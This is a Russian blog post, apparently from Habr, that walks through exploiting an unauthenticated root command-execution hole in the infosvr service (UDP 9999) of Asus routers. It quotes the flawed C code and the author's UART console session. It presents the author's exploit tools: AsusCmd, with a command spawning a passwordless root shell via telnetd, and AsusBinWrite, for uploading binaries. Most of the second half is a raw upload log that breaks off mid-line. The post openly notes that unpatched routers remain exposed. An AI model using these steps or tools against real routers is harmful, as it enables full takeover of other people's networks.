[Из песочницы] Эксплуатируем root-уязвимость в роутерах Asus
В начале 2015 года компания Asus исправила критичнейшую уязвимость в своих роутерах. «Дыра» была в службе по имени infosvr, использующейся утилитами Asus для облегчения настройки роутера путём его автоматического обнаружения в локальной сети. Уязвимость позволяла выполнять любые команды с правами root (ведь infosvr тоже root), что давало злоумышленнику полный контроль над системой.Но Asus выпустила исправленные прошивки. Теперь это всё в прошлом. Или нет? Хм… А как часто обыватели обновляют прошивки на своих роутерах?
Прошу под кат за подробностями, историей обнаружения, исследованиями, инструкциями и… эксплоитами.
В чём дело? Служба infosvr слушает 9999 порт (UDP). Когда приходит пакет размером не менее 512 байт она анализирует его и в зависимости от его типа выполняет соответствующие ответные действия. Например, собирает информацию о некоторых настройках роутера и отправляет её программе Device Discovery, которая помогает найти IP-адрес роутера. Но есть ещё и такой тип пакета, который подразумевает выполнение системной команды роутером. Тут-то Asus’овцы и облажались. Из-за ошибки в коде обработки такого пакета выполнить команду можно без всякой авторизации. Это строка if (memcpy (phdr_ex→MacAddress, mac, 6)==0) в следующем листинге (несущественные строки удалены): Часть функции processPacket (int sockfd, char *pdubuf) из common.c if (phdr→OpCode!=NET_CMD_ID_GETINFO && phdr→OpCode!=NET_CMD_ID_GETINFO_MANU) { phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf; // Check Mac Address if (memcpy (phdr_ex→MacAddress, mac, 6)==0) { _dprintf («Mac Error %2x%2x%2x%2x%2x%2x\n», (unsigned char)phdr_ex→MacAddress[0], (unsigned char)phdr_ex→MacAddress[1], (unsigned char)phdr_ex→MacAddress[2], (unsigned char)phdr_ex→MacAddress[3], (unsigned char)phdr_ex→MacAddress[4], (unsigned char)phdr_ex→MacAddress[5] ); return NULL; }
phdr_res→Info = phdr_ex→Info; memcpy (phdr_res→MacAddress, phdr_ex→MacAddress, 6); } Вероятно, там вместо memcpy предполагалось memcmp (вот что бывает когда копируете строки кода, с целью чуть-чуть подправить потом), а вместо == предполагалось !=. Но даже если бы этой ошибки не было, всё равно для проникновения достаточно было бы знать MAC-адрес.После успешной «аутентификации» команда из пакета будет выполнена:
Та же функция; чуть далее по коду switch (phdr→OpCode) {
case NET_CMD_ID_MANU_CMD: #define MAXSYSCMD 256 char cmdstr[MAXSYSCMD]; PKT_SYSCMD *syscmd;
syscmd = (PKT_SYSCMD *)(pdubuf+sizeof (IBOX_COMM_PKT_HDR_EX));
if (syscmd→len>=MAXSYSCMD) syscmd→len=MAXSYSCMD; syscmd→cmd[syscmd→len]=0; syscmd→len=strlen (syscmd→cmd); fprintf (stderr, «system cmd: %d %s\n», syscmd→len, syscmd→cmd); sprintf (cmdstr,»%s > /tmp/syscmd.out», syscmd→cmd); system (cmdstr); А теперь, хотите квест? Идите сюда Выберите любой маршрутизатор Пройдите по пути Поддержка → Драйверы и утилиты → ОС → Firmware Ищите в списке прошивку за январь 2015-го В описании к ней наверняка есть скупая фраза «Fixed infosvr security issue.» ??? !!! Впечатляют масштабы? На самом деле всё было не так уж и плохо (а сейчас, когда «дыру» закрыли — вообще хорошо). Дело в том, что infosvr работает с интерфейсом br0, т.е. с мостом между другими интерфейсами. В случае, если роутер работает в режиме IP Sharing (Режим общего IP), br0 объединяет eth0 и wlan0. Заметьте, eth1 (который WAN) сюда не входит. Т.е. уже радует то, что с внешней сети никто не пролезет. А вот когда роутер в режиме Access point, то br0 объединяет все интерфейсы…История обнаружения Как-то мне захотелось порулить своим роутером через UART, то бишь через аппаратную консоль. «Зачем такие трудности? По телнету зайди.» — скажете вы. Не тут-то было! Это же RT-N10E! (Он же RT-N10LX).Вы видите здесь выключатель телнет? Я тоже — нет Позже я узнал, что можно было вот так:
192.168.1.1/telnetd.cgi? enable=1
Не буду тут много рассказывать насколько это дерьмовый роутер. Кто сталкивался — знает. А для счастливчиков, кому не приходилось с ним возиться скажу, что роутеры Asus RT-xxxE (или RT-xxxLX) имеют процессор от Realtek, под который нет альтернативных прошивок! Хотя сообщество пытается. На официальных же прошивках я пару лет назад пользовался PPTP. Постоянные зависания, разрывы и прочие радости. PPPoE по началу вообще не поднимался (в какой-то прошивке исправили). Сейчас этот роутер работает просто как мост между WiFi и Ethernet.
Подробнее о различиях RT-xxxE и RT-xxxLX Различие Asus RT-N10E и Asus RT-N10LXПо сути, это один и тот же роутер, Asus RT-N10LX имеет антенну на 2 dBi, RT-N10E — 5 dBi. В спецификациях к RT-N10LX указано дополнительно IEEE 802.11d — по сути, означает только то, что роутер учитывает региональные правовые ограничения в сфере связи, в связи с чем, используется более слабая антенна. Лично мне попался экземпляр (2012 года сборки) с малой антенной на 2 dBi, при этом вся маркировка на роутере и коробке говорит о том, что это RT-N10E, а не RT-N10LX. Если внимательно посмотреть информацию на официальном сайте, там это указано: «Antenna type will differ according to local regulations and requirement in each country», а также «This model sells only in EU, China, and South America». Как говорится, те же яйца, только в профиль. Прошивка в этих двух моделях одна и та же.
Различие Asus RT-N10E/LX и RT-N12E/LXВ 12-й модели тот же процессор, но другой контроллер — RTL8192CE, который позволяет использовать 2 MIMO, обеспечивая теоретически до 300 Мбит/сек. Отличие версий RT-N12E и RT-N12LX — в антеннах.
Различие Asus RT-N10E/LX и Asus RT-N10У ASUS также есть роутеры RT-N10 и RT-N12. И тут важно понимать, это другие устройства, которые собраны на базе чипов Broadcom. Для RT-N10 и RT-N12 есть альтернативные прошивки энтузиастов, в том числе «от Олега». Будьте внимательны при покупке!
Источник Итак, подключились к UARTу.
Подключение к UARTу Включаем. Видим процесс загрузки. (Кэп: Кстати, через телнет этого не увидишь. Так-то!)Так загрузка роутера выглядит через /dev/console (/dev/ttyS0) ========== SPI =============SDRAM CLOCK:156MHZ— Force into Single IO Mode — |No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName || 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|— ---RealTek (RTL8196C)at 2012.04.09–16:54+0800 version v1.1f [16bit](390MHz)####return_addr: 0×05010000, root_bin_offset: 0×050dd012Jump to image start=0×80500000…decompressing kernel: Uncompressing Linux… done, booting the kernel.done decompressing kernel.start address: 0×80003600RTL8192C/RTL8188C driver version 1.6 (2011–07–18)
Probing RTL8186 10/100 NIC-kenel stack size order[2]…chip name: 8196C, chip revid: 4NOT YETeth0 added. vid=9 Member port 0×10…eth1 added. vid=8 Member port 0×1…eth2 added. vid=9 Member port 0×2…eth3 added. vid=9 Member port 0×4…eth4 added. vid=9 Member port 0×8…[peth0] added, mapping to [eth1]…init started: BusyBox v1.13.4 (2014–09–18 18:01:50 CST)
##flash.c free apmib ##Init Start…
##system/sysconf.c free apmib ##
##flash.c free apmib ##===== Set parameter for BSMI test=====Init bridge interface…syslog will use 64KB for log (7 rotate, 1 original, 8KB for each)Init Wlan application…
##flash.c free apmib ##
##flash.c free apmib ##Init Firewall Rules…No wan ip currently! Init WAN Interface…start_wan: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1set_dhcp_client: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1start_wan_dhcp_client: iface eth1No such process
MiniIGD v1.07 (2013.05.21–07:19+0000).
System TZ ENV = GMT-2Restart networkmap
##system/sysconf.c free apmib ##start infosvrrouter ip = 192.168.1.1mac addr = 50:46:5d:86:76: fcWLAN0_WLAN_DISABLED=0 ##flash.c free apmib ##sh: ##flash.c: unknown operand# Start wanduck! Start httpd!
# 1: Enable direct rule
После окончания загрузки я начал исследовать систему: версии ПО, железо и другую информацию, которую можно добыть при помощи консоли. Но об этом позже.Интересно посмотреть реакцию на стандартные действия пользователя, как-то: нажатие на кнопку WPS, настройка через веб-морду, использование Asus Utility… Действительно, на консоли появлялась соответствующая информация. Отдельно стоит упомянуть такой факт: при попытке открыть веб-интерфейс httpd (предположительно) пишет в /dev/console (/dev/ttyS0) логин и пароль для входа!
UserID: adminUserPass: asus-rt
Правда, на телнет (/dev/ttyp0) это не попадает.Из всего пакета Asus Utility (Device Discovery, Router Setup Wizard и Firmware Restoration) реакцию консоли вызвал только Router Setup Wizard. А именно: при запуске приложения и нажатии на кнопку «Далее» появляются такие строки:
system cmd: 17 nvram get sw_moderund: echo 1 > /tmp/syscmd.out2 1
system cmd: 17 nvram get sw_moderund: echo 1 > /tmp/syscmd.out2 1
system cmd: 17 nvram get sw_moderund: echo 1 > /tmp/syscmd.out2 1
system cmd: 17 nvram get sw_moderund: echo 1 > /tmp/syscmd.out2 1
system cmd: 19 nvram get x_Settingsh: nvram: not foundrund: nvram get x_Setting > /tmp/syscmd.out0 1
system cmd: 19 nvram get x_Settingsh: nvram: not foundrund: nvram get x_Setting > /tmp/syscmd.out0 1
system cmd: 19 nvram get x_Settingsh: nvram: not foundrund: nvram get x_Setting > /tmp/syscmd.out0 1
system cmd: 19 nvram get x_Settingsh: nvram: not foundrund: nvram get x_Setting > /tmp/syscmd.out0 1
Хм… Эти команды Router Setup Wizard передаёт? Посмотрел через Wireshark — да, эти команды передаются в UDP пакетах с RSW. А что если их заменить на свои? Оказывается, я не первый Перед тем, как начать ковыряться в пакетах, я решил погуглить. И нагуглил кое-что (раз и два). По второй ссылке подробное описание уязвимости и простой эксплоит под Линукс (есть и на python-е).Велосипед AsusCmd Мне хотелось бы иметь такую программку под Windows, поскольку Я 95% времени пользуюсь именно ей. Не хочется ради выполнения какой-то команды загружать виртуальную машину с Ubuntu.Размеры В процессе написания и отладки эксплоита, а также копания в исходниках infosvr выяснились «параметры» этой «дыры».А именно её размеры. Они такие: Размеры буферов приёма и отправки — по 420 байт. И всё бы неплохо, но реально 420 байт роутер может только отправить в ответе. А вот с приёмом дела ещё хуже. Дело в том, что после приёма команды infosvr обрезает её до 256 символов и только потом — исполняет. Но и это ещё не последнее ограничение. При выполнении команды длиной чуть менее 256 символов infosvr падает с грохотом segmentation fault. Команда выполнена, но ни ответа уже не будет, ни возможности исполнить ещё что-то. Опытным путём была найдена предельная безопасная длина пользовательской команды. Это 238 символов. Итак, размеры «дыры»: 238 — команда, 420 — ответ.Подробнее (с примером) infosvr вызывает system («echo «Some text»>/var/myText; cat /var/myText > /tmp/syscmd.out»);
Тут полная команда: 'echo «Some text»>/var/myText; cat /var/myText > /tmp/syscmd.out'
Где: 'echo «Some text»>/var/myText; cat /var/myText'
— команда, отправленная пользователем с помощью AsusCmd; ' > /tmp/syscmd.out'
— жёстко запрограммировано в коде infosvr.Кстати, зачем нужно перенаправление в /tmp/syscmd.out? А затем, что именно с него потом считывается в буфер 420 байт и отправляется ответ на команду.
«Предельная безопасная длина» относится именно к пользовательской команде.
Т.е. при длине пользовательской команды 238 символов длина полной команды будет 238+18=256. Может именно падения infosvr хотели избежать разработчики, когда обрезали команду до 256 символов? Похоже они не учли strlen (» > /tmp/syscmd.out»).
Експлоит написан и отлажен. Можно пользоваться.
Пример работы Но так рулить роутером не очень удобно. И, если в данном случае ограничение в 238 символов команды не сильно заметно, то ограничение на вывод ответа в 420 символов — это уже печальнее. Но выход есть! Хоть на роутере и сильно ограниченный busybox, но там всё-же есть telnetd! Запускать его лучше на нестандартном порте, т.к. защиты нет никакой: для подключения пароль не нужен. AsusCmd.exe «telnetd -l/bin/sh -p777»
Ну, теперь другое дело! Можно полноценно командовать со всеми удобствами, как-то история команд и дополнение по Tab. Если телнет перестал отвечать, его можно перезапустить, не перезагружая роутер. Сначала надо прибить связанный с ним sh: AsusCmd.exe «killall -9 sh»
Учтите, что после выполнения этой команды будет также убит sh, который связан с /dev/console. Теперь можно снова запускать telnetd.Отлично. Тема исчерпана? Как-бы не так.
Продолжение банкета Итак, мы можем пользоваться всеми доступными командами. Можем создавать и удалять файлы в каталогах, доступных для записи (ramfs /var). Можно записать несколькими командами длинный текстовый файл. Но не только текстовый! Ведь echo в Linux-е умеет преобразовывать текст в двоичные данные! Это значит, что мы можем заливать на роутер свои программы, которых нам не хватает! AsusBinWrite Идея проста: считываем порцию байт с файла-источника преобразуем их в текстовый вид, понятный для 'echo -e' формируем системную команду отправляем на роутер повторяем пока не перешлём весь файл Но это на словах всё легко и просто. На практике мы имеем дело с парой неприятных факторов:
UDP пакеты, которые иногда теряются Ограничение на полезную длину системной команды (238 символов) С ограничением на полезную длину команды всё понятно: просто придётся больше пакетов отправить. Плохо в этом случае то, что страдает скорость передачи. Ведь процессору роутера приходится обрабатывать много мелких пакетов. Т.е. скорость передачи прямо пропорциональна скорости процессора роутера. (Проверено с помощью cpuload: во время работы AsusBinWrite CPU роутера грузится на 100%).
С UDP посложнее. Надо как-то контролировать правильность передачи. Примитивный способ — просто дописывать очередные байты в конец файла — не подходит. Стоит одному пакету на пути к роутеру потеряться или продублироваться — и файл уже бракован. Поэтому принято решение сначала записывать отдельные части в разные файлы и проверять их содержимое. А в потом их можно объединить. И ещё: объединять следует не в самом конце, а через какое-то количество переданных частей. Потому, что одна часть занимает места в памяти не, скажем, 40 байт (размер файла-части), а все 4 КБ (страница). А если частей тысячи? Никакой оперативки не хватит (На RT-N10E её лишь 16MB). После успешного объединения (успешность тоже проверяется по признаку увеличения размера целевого файла на роутере) эти части удаляются. Вот так в цикле передаём весь файл до конца. Получился такой-себе протокол надёжной передачи файлов на роутер посредством UDP.
Пример передачи исполняемого файла Чтобы лучше понять алгоритм работы предлагаю посмотреть, что происходит на /dev/console (/dev/ttyS0) во время передачи файла и сопоставить это с выводом самого AsusBinWrite.Вывод AsusBinWrite (обратите внимание на случаи потери пакетов) Start uploading file to 255.255.255.255…Source file: 'Useful\ldd' Target file: '/var/ldd'0.5% 742.4 Bps part 1 (49 B; cmd: 237 ch) 192.168.1.1: OK1.0% 106.5 Bps part 2 (49 B; cmd: 237 ch) LOST1.0% 32.7 Bps part 2 (49 B; cmd: 237 ch) 192.168.1.1: OK1.5% 347.5 Bps part 3 (49 B; cmd: 237 ch) 192.168.1.1: OK1.9% 159.1 Bps part 4 (49 B; cmd: 237 ch) שש192.168.1.1: OK2.4% 150.3 Bps part 5 (49 B; cmd: 237 ch) ששLOST2.4% 32.2 Bps part 5 (49 B; cmd: 237 ch) 192.168.1.1: OK2.9% 376.9 Bps part 6 (49 B; cmd: 237 ch) שLOST2.9% 32.6 Bps part 6 (49 B; cmd: 237 ch) 192.168.1.1: OK3.4% 401.6 Bps part 7 (49 B; cmd: 237 ch) ש192.168.1.1: OK3.9% 146.3 Bps part 8 (49 B; cmd: 237 ch) 192.168.1.1: OK4.4% 102.3 Bps part 9 (49 B; cmd: 237 ch) ש192.168.1.1: OK4.8% 150.0 Bps part 10 (48 B; cmd: 235 ch) 192.168.1.1: OK5.3% 176.5 Bps part 11 (48 B; cmd: 235 ch) 192.168.1.1: OK5.8% 120.9 Bps part 12 (48 B; cmd: 235 ch) שש192.168.1.1: OK6.3% 145.5 Bps part 13 (48 B; cmd: 235 ch) 192.168.1.1: OK6.8% 144.6 Bps part 14 (48 B; cmd: 235 ch) שLOST6.8% 31.7 Bps part 14 (48 B; cmd: 235 ch) 192.168.1.1: OK7.2% 285.7 Bps part 15 (48 B; cmd: 235 ch) 192.168.1.1: OK7.7% 147.7 Bps part 16 (48 B; cmd: 235 ch) LOST7.7% 32.0 Bps part 16 (48 B; cmd: 235 ch) 192.168.1.1: OK8.2% 333.3 Bps part 17 (48 B; cmd: 235 ch) ש192.168.1.1: OK8.7% 146.3 Bps part 18 (48 B; cmd: 235 ch) ש192.168.1.1: OK9.1% 148.1 Bps part 19 (48 B; cmd: 235 ch) ש192.168.1.1: OK9.6% 141.6 Bps part 20 (48 B; cmd: 235 ch) שש192.168.1.1: OK10.1% 145.0 Bps part 21 (48 B; cmd: 235 ch) 192.168.1.1: OK10.6% 145.5 Bps part 22 (48 B; cmd: 235 ch) ש192.168.1.1: OK11.0% 148.1 Bps part 23 (48 B; cmd: 235 ch) שש192.168.1.1: OK11.5% 145.9 Bps part 24 (48 B; cmd: 235 ch) ש192.168.1.1: OK12.0% 137.5 Bps part 25 (48 B; cmd: 235 ch) 192.168.1.1: OK12.5% 146.3 Bps part 26 (48 B; cmd: 235 ch) 192.168.1.1: OK12.9% 151.9 Bps part 27 (48 B; cmd: 235 ch) שש192.168.1.1: OK13.4% 172.0 Bps part 28 (48 B; cmd: 235 ch) ש192.168.1.1: OK13.9% 126.0 Bps part 29 (48 B; cmd: 235 ch) שש192.168.1.1: OK14.4% 173.3 Bps part 30 (48 B; cmd: 235 ch) שLOST14.4% 31.7 Bps part 30 (48 B; cmd: 235 ch) 192.168.1.1: OK14.8% 358.2 Bps part 31 (48 B; cmd: 235 ch) ש192.168.1.1: OK15.3% 144.6 Bps part 32 (48 B; cmd: 235 ch) ש192.168.1.1: OK15.8% 149.5 Bps part 33 (48 B; cmd: 235 ch) שש192.168.1.1: OK16.3% 137.1 Bps part 34 (48 B; cmd: 235 ch) ש192.168.1.1: OK16.7% 153.8 Bps part 35 (48 B; cmd: 235 ch) ש192.168.1.1: OK17.2% 138.7 Bps part 36 (48 B; cmd: 235 ch) ש192.168.1.1: OK17.7% 145.5 Bps part 37 (48 B; cmd: 235 ch) 192.168.1.1: OK18.2% 140.4 Bps part 38 (48 B; cmd: 235 ch) 192.168.1.1: OK18.7% 154.3 Bps part 39 (48 B; cmd: 235 ch) LOST18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST18.7% 31.6 Bps part 39 (48 B; cmd: 235 ch) 192.168.1.1: OK19.1% 428.6 Bps part 40 (48 B; cmd: 235 ch) ש192.168.1.1: OK19.6% 175.2 Bps part 41 (48 B; cmd: 235 ch) ש192.168.1.1: OK20.1% 120.6 Bps part 42 (48 B; cmd: 235 ch) 192.168.1.1: OK20.6% 146.3 Bps part 43 (48 B; cmd: 235 ch) ש192.168.1.1: OK21.0% 150.0 Bps part 44 (48 B; cmd: 235 ch) שש192.168.1.1: OK21.5% 145.0 Bps part 45 (48 B; cmd: 235 ch) ששLOST21.5% 31.0 Bps part 45 (48 B; cmd: 235 ch) 192.168.1.1: OK22.0% 363.6 Bps part 46 (48 B; cmd: 235 ch) ש192.168.1.1: OK22.5% 137.9 Bps part 47 (48 B; cmd: 235 ch) 192.168.1.1: OK22.9% 154.3 Bps part 48 (48 B; cmd: 235 ch) ש192.168.1.1: OK23.4% 145.0 Bps part 49 (48 B; cmd: 235 ch) ששLOST23.4% 31.9 Bps part 49 (48 B; cmd: 235 ch) 192.168.1.1: OK23.9% 360.9 Bps part 50 (48 B; cmd: 235 ch) ששLOST23.9% 31.8 Bps part 50 (48 B; cmd: 235 ch) 192.168.1.1: OK24.4% 345.3 Bps part 51 (48 B; cmd: 235 ch) 192.168.1.1: OK24.8% 151.4 Bps part 52 (48 B; cmd: 235 ch) שLOST24.8% 31.6 Bps part 52 (48 B; cmd: 235 ch) 192.168.1.1: OK25.3% 342.9 Bps part 53 (48 B; cmd: 235 ch) ש192.168.1.1: OK25.8% 145.0 Bps part 54 (48 B; cmd: 235 ch) שש192.168.1.1: OK26.3% 151.4 Bps part 55 (48 B; cmd: 235 ch) ש192.168.1.1: OK26.7% 145.5 Bps part 56 (48 B; cmd: 235 ch) ש192.168.1.1: OK27.2% 147.7 Bps part 57 (48 B; cmd: 235 ch) ש192.168.1.1: OK27.7% 143.7 Bps part 58 (48 B; cmd: 235 ch) ש192.168.1.1: OK28.2% 142.9 Bps part 59 (48 B; cmd: 235 ch) ש192.168.1.1: OK28.6% 142.9 Bps part 60 (48 B; cmd: 235 ch) ש192.168.1.1: OK29.1% 149.1 Bps part 61 (48 B; cmd: 235 ch) 192.168.1.1: OK29.6% 142.4 Bps part 62 (48 B; cmd: 235 ch) ש192.168.1.1: OK30.1% 142.9 Bps part 63 (48 B; cmd: 235 ch) 192.168.1.1: OK30.6% 145.9 Bps part 64 (48 B; cmd: 235 ch) ש192.168.1.1: OK31.0% 148.1 Bps part 65 (48 B; cmd: 235 ch) ש192.168.1.1: OK31.5% 144.6 Bps part 66 (48 B; cmd: 235 ch) ש192.168.1.1: OK32.0% 141.2 Bps part 67 (48 B; cmd: 235 ch) ש192.168.1.1: OK32.5% 142.9 Bps part 68 (48 B; cmd: 235 ch) 192.168.1.1: OK32.9% 151.4 Bps part 69 (48 B; cmd: 235 ch) ש192.168.1.1: OK33.4% 143.7 Bps part 70 (48 B; cmd: 235 ch) שש192.168.1.1: OK33.9% 146.8 Bps part 71 (48 B; cmd: 235 ch) ש192.168.1.1: OK34.4% 183.9 Bps part 72 (48 B; cmd: 235 ch) 192.168.1.1: OK34.8% 144.1 Bps part 73 (48 B; cmd: 235 ch) שש192.168.1.1: OK35.3% 117.1 Bps part 74 (48 B; cmd: 235 ch) ש192.168.1.1: OK35.8% 144.6 Bps part 75 (48 B; cmd: 235 ch) 192.168.1.1: OK36.3% 144.6 Bps part 76 (48 B; cmd: 235 ch) 192.168.1.1: OK36.7% 151.4 Bps part 77 (48 B; cmd: 235 ch) שש192.168.1.1: OK37.2% 172.0 Bps part 78 (48 B; cmd: 235 ch) 192.168.1.1: OK37.7% 119.7 Bps part 79 (48 B; cmd: 235 ch) 192.168.1.1: OK38.2% 143.7 Bps part 80 (48 B; cmd: 235 ch) 192.168.1.1: OK38.6% 151.9 Bps part 81 (48 B; cmd: 235 ch) שש192.168.1.1: OK39.1% 143.7 Bps part 82 (48 B; cmd: 235 ch) ש192.168.1.1: OK39.6% 146.8 Bps part 83 (48 B; cmd: 235 ch) ש192.168.1.1: OK40.1% 183.9 Bps part 84 (48 B; cmd: 235 ch) שש192.168.1.1: OK40.5% 117.1 Bps part 85 (48 B; cmd: 235 ch) שש192.168.1.1: OK41.0% 142.9 Bps part 86 (48 B; cmd: 235 ch) ש192.168.1.1: OK41.5% 147.2 Bps part 87 (48 B; cmd: 235 ch) שש192.168.1.1: OK42.0% 179.1 Bps part 88 (48 B; cmd: 235 ch) 192.168.1.1: OK42.5% 145.5 Bps part 89 (48 B; cmd: 235 ch) שש192.168.1.1: OK42.9% 136.8 Bps part 90 (48 B; cmd: 235 ch) 192.168.1.1: OK43.4% 120.0 Bps part 91 (48 B; cmd: 235 ch) 192.168.1.1: OK43.9% 151.9 Bps part 92 (48 B; cmd: 235 ch) שש192.168.1.1: OK44.4% 143.3 Bps part 93 (48 B; cmd: 235 ch) ש192.168.1.1: OK44.8% 146.3 Bps part 94 (48 B; cmd: 235 ch) ש192.168.1.1: OK45.3% 145.9 Bps part 95 (48 B; cmd: 235 ch) שש192.168.1.1: OK45.8% 138.7 Bps part 96 (48 B; cmd: 235 ch) 192.168.1.1: OK46.3% 151.4 Bps part 97 (48 B; cmd: 235 ch) שLOST46.3% 31.8 Bps part 97 (48 B; cmd: 235 ch) 192.168.1.1: OK46.7% 436.4 Bps part 98 (48 B; cmd: 235 ch) שש192.168.1.1: OK47.2% 138.7 Bps part 99 (48 B; cmd: 235 ch) LOST47.2% 32.0 Bps part 99 (48 B; cmd: 235 ch) 192.168.1.1: OK47.7% 378.0 Bps part 100 (48 B; cmd: 237 ch) שש192.168.1.1: OKMerging to /var/ldd parts 1…16 (16 pcs; cmd: 228 ch)… OK (777 B)Merging to /var/ldd parts 17…32 (16 pcs; cmd: 238 ch)… OK (1545 B)Merging to /var/ldd parts 33…48 (16 pcs; cmd: 238 ch)… OK (2313 B)Merging to /var/ldd parts 49…64 (16 pcs; cmd: 238 ch)… OK (3081 B)Merging to /var/ldd parts 65…80 (16 pcs; cmd: 238 ch)… OK (3849 B)Merging to /var/ldd parts 81…96 (16 pcs; cmd: 238 ch)… OK (4617 B)Merging to /var/ldd parts 97…100 (4 pcs; cmd: 71 ch)… OK (4809 B)Written 4.70KB/9.85KB 77.0 Bps (avg) Remaining: 01:08 (01:02/02:10)48.2% 5.2 Bps part 101 (49 B; cmd: 237 ch) 192.168.1.1: OK48.7% 116.7 Bps part 102 (49 B; cmd: 237 ch) שש192.168.1.1: OK49.1% 196.8 Bps part 103 (49 B; cmd: 237 ch) LOST49.1% 32.7 Bps part 103 (49 B; cmd: 237 ch) 192.168.1.1: OK49.6% 418.8 Bps part 104 (49 B; cmd: 237 ch) שש192.168.1.1: OK50.1% 138.8 Bps part 105 (49 B; cmd: 237 ch) 192.168.1.1: OK50.6% 150.8 Bps part 106 (49 B; cmd: 237 ch) 192.168.1.1: OK51.1% 153.6 Bps part 107 (49 B; cmd: 237 ch) שש192.168.1.1: OK51.6% 151.7 Bps part 108 (49 B; cmd: 237 ch) ש192.168.1.1: OK52.1% 142.4 Bps part 109 (49 B; cmd: 237 ch) ש192.168.1.1: OK52.5% 145.5 Bps part 110 (48 B; cmd: 235 ch) ש192.168.1.1: OK53.0% 150.9 Bps part 111 (48 B; cmd: 235 ch) שLOST53.0% 31.7 Bps part 111 (48 B; cmd: 235 ch) 192.168.1.1: OK53.5% 410.3 Bps part 112 (48 B; cmd: 235 ch) שש192.168.1.1: OK54.0% 143.3 Bps part 113 (48 B; cmd: 235 ch) ש192.168.1.1: OK54.4% 144.6 Bps part 114 (48 B; cmd: 235 ch) שש192.168.1.1: OK54.9% 141.6 Bps part 115 (48 B; cmd: 235 ch) 192.168.1.1: OK55.4% 150.0 Bps part 116 (48 B; cmd: 235 ch) ש192.168.1.1: OK55.9% 140.4 Bps part 117 (48 B; cmd: 235 ch) ש192.168.1.1: OK56.3% 151.9 Bps part 118 (48 B; cmd: 235 ch) ש192.168.1.1: OK56.8% 142.0 Bps part 119 (48 B; cmd: 235 ch) ש192.168.1.1: OK57.3% 145.5 Bps part 120 (48 B; cmd: 235 ch) 192.168.1.1: OK57.8% 140.8 Bps part 121 (48 B; cmd: 235 ch) 192.168.1.1: OK58.3% 154.3 Bps part 122 (48 B; cmd: 235 ch) ש192.168.1.1: OK58.7% 144.6 Bps part 123 (48 B; cmd: 235 ch) 192.168.1.1: OK59.2% 141.2 Bps part 124 (48 B; cmd: 235 ch) 192.168.1.1: OK59.7% 138.7 Bps part 125 (48 B; cmd: 235 ch) 192.168.1.1: OK60.2% 151.9 Bps part 126 (48 B; cmd: 235 ch) ש192.168.1.1: OK60.6% 142.9 Bps part 127 (48 B; cmd: 235 ch) שLOST60.6% 31.9 Bps part 127 (48 B; cmd: 235 ch) 192.168.1.1: OK61.1% 378.0 Bps part 128 (48 B; cmd: 235 ch) ש192.168.1.1: OK61.6% 142.4 Bps part 129 (48 B; cmd: 235 ch) 192.168.1.1: OK62.1% 150.0 Bps part 130 (48 B; cmd: 235 ch) שש192.168.1.1: OK62.5% 136.8 Bps part 131 (48 B; cmd: 235 ch) ש192.168.1.1: OK63.0% 154.3 Bps part 132 (48 B; cmd: 235 ch) 192.168.1.1: OK63.5% 149.1 Bps part 133 (48 B; cmd: 235 ch) ש192.168.1.1: OK64.0% 145.9 Bps part 134 (48 B; cmd: 235 ch) שש192.168.1.1: OK64.4% 142.4 Bps part 135 (48 B; cmd: 235 ch) שש192.168.1.1: OK64.9% 147.7 Bps part 136 (48 B; cmd: 235 ch) שש192.168.1.1: OK65.4% 146.8 Bps part 137 (48 B; cmd: 235 ch) ש192.168.1.1: OK65.9% 142.0 Bps part 138 (48 B; cmd: 235 ch) שש192.168.1.1: OK66.3% 179.8 Bps part 139 (48 B; cmd: 235 ch) שש192.168.1.1: OK66.8% 121.2 Bps part 140 (48 B; cmd: 235 ch) שש192.168.1.1: OK67.3% 182.5 Bps part 141 (48 B; cmd: 235 ch) שש192.168.1.1: OK67.8% 119.4 Bps part 142 (48 B; cmd: 235 ch) ש192.168.1.1: OK68.2% 146.3 Bps part 143 (48 B; cmd: 235 ch) ש192.168.1.1: OK68.7% 145.0 Bps part 144 (48 B; cmd: 235 ch) ש192.168.1.1: OK69.2% 142.4 Bps part 145 (48 B; cmd: 235 ch) ש192.168.1.1: OK69.7% 142.9 Bps part 146 (48 B; cmd: 235 ch) 192.168.1.1: OK70.2% 145.0 Bps part 147 (48 B; cmd: 235 ch) 192.168.1.1: OK70.6% 142.0 Bps part 148 (48 B; cmd: 235 ch) 192.168.1.1: OK71.1% 152.9 Bps part 149 (48 B; cmd: 235 ch) ש192.168.1.1: OK71.6% 177.1 Bps part 150 (48 B; cmd: 235 ch) 192.168.1.1: OK72.1% 122.8 Bps part 151 (48 B; cmd: 235 ch) שש192.168.1.1: OK72.5% 143.3 Bps part 152 (48 B; cmd: 235 ch) שש192.168.1.1: OK73.0% 145.9 Bps part 153 (48 B; cmd: 235 ch) שLOST73.0% 31.7 Bps part 153 (48 B; cmd: 235 ch) 192.168.1.1: OK73.5% 432.4 Bps part 154 (48 B; cmd: 235 ch) ש192.168.1.1: OK74.0% 144.6 Bps part 155 (48 B; cmd: 235 ch) שש192.168.1.1: OK74.4% 145.5 Bps part 156 (48 B; cmd: 235 ch) ש192.168.1.1: OK74.9% 182.5 Bps part 157 (48 B; cmd: 235 ch) שש192.168.1.1: OK75.4% 117.1 Bps part 158 (48 B; cmd: 235 ch) ש192.168.1.1: OK75.9% 148.6 Bps part 159 (48 B; cmd: 235 ch) שש192.168.1.1: OK76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) ש192.168.1.1: OK78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK80.6% 145.5 Bps part 169 (48 B; 